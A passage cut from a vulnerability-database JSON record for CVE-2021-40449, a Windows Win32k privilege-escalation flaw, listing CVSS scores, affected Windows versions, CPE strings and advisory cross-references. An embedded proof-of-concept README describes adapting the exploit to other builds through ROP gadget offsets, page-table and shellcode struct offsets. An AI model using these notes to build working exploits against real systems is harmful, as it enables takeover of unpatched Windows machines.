"vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-23T16:15:26", "history": [], "viewCount": 165, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006715.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-23T16:15:26", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-23T16:15:26", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-23T16:15:26", "differentElements": ["cvss2", "cvss3"], "edition": 23}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "f8b8293342baa6861bc68f25ebfc9c09", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-23T07:42:13", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-27T07:08:19", "history": [], "viewCount": 178, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-27T07:08:19", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-27T07:08:19", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-27T07:08:19", "differentElements": ["title"], "edition": 24}], "viewCount": 192, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-12-01T16:04:35", "rev": 2}, "score": {"value": 5.2, "vector": "NONE", "modified": "2021-12-01T16:04:35", "rev": 2}}, "objectVersion": "1.6", "_object_type": "robots.models.githubexploit.GithubExploitBulletin", "_object_types": ["robots.models.githubexploit.GithubExploitBulletin", "robots.models.base.Bulletin"], "privateArea": 1}], "cve": [{"id": "CVE-2021-40449", "bulletinFamily": "NVD", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "published": "2021-10-13T01:15:00", "modified": "2021-11-30T20:18:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "reporter": "secure@microsoft.com", "references": ["http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "type": "cve", "lastseen": "2021-12-01T08:39:10", "history": [{"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2019", "name": "microsoft windows server 2019", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_server_2022", "name": "microsoft windows server 2022", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_server_2016", "name": "microsoft windows server 2016", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2022:*", "cpe:/o:microsoft:windows_server:20h2", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server:2004", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_11:-"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2021-40449"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "cwe": ["CWE-269"], "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "edition": 3, "enchantments": {"dependencies": {"modified": "2021-10-20T07:33:14", "references": [{"idList": ["CPAI-2021-0739"], "type": "checkpoint_advisories"}, {"idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL"], "type": "nessus"}, {"idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"], "type": "securelist"}, {"idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"], "type": "qualysblog"}, {"idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"], "type": "thn"}, {"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}, {"idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"], "type": "rapid7blog"}, {"idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"], "type": "avleonov"}, {"idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"], "type": "githubexploit"}, {"idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"], "type": "hivepro"}, {"idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"], "type": "malwarebytes"}, {"idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"], "type": "threatpost"}, {"idList": ["KLA12309", "KLA12310"], "type": "kaspersky"}, {"idList": ["MS:CVE-2021-40449"], "type": "mscve"}, {"idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"], "type": "krebs"}], "rev": 2}, "exploitation": {"modified": "2021-10-20T07:33:14", "wildExploited": true, "wildExploitedSources": [{"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}]}, "score": {"modified": "2021-10-20T07:33:14", "rev": 2, "value": 4.2, "vector": "NONE"}}, "extraReferences": [{"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "hash": "2b3fa083abc3a82bff9fce6d3f87e7539fd3e016e6dc9192fe598ad07f3fc981", "hashmap": [{"hash": "a12b81fd55c2f86c58072a8b56df1494", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "17af6aa290117c1541fd37855f304223", "key": "href"}, {"hash": "3bd5d7a4c3f96a3e83956f290d0b41cb", "key": "affectedSoftware"}, {"hash": "797975aa869602ac52156fd986f16e26", "key": "references"}, {"hash": "967b1e742d4f56cd9f44ac8ea85a3610", "key": "cpeConfiguration"}, {"hash": "f6777e604eff0d8f6944def1db04e18a", "key": "description"}, {"hash": "73c290e02a16f86c63d57737dbd7a218", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "78374129a99751f5c9b8de52dbad0386", "key": "cpe23"}, {"hash": "89ef9e1599bb6c12f7df140ce178deff", "key": "cpe"}, {"hash": "029dfc07c499dc142a429cac0a029e99", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "3dc697dc98b8d7b72593bf57e5a9bfd8", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "cebcf1b217ae2bc3d7eb3a3b04a42566", "key": "extraReferences"}, {"hash": "4490432914a219e0709ab2b87099a3ea", "key": "modified"}], "history": [], "href": 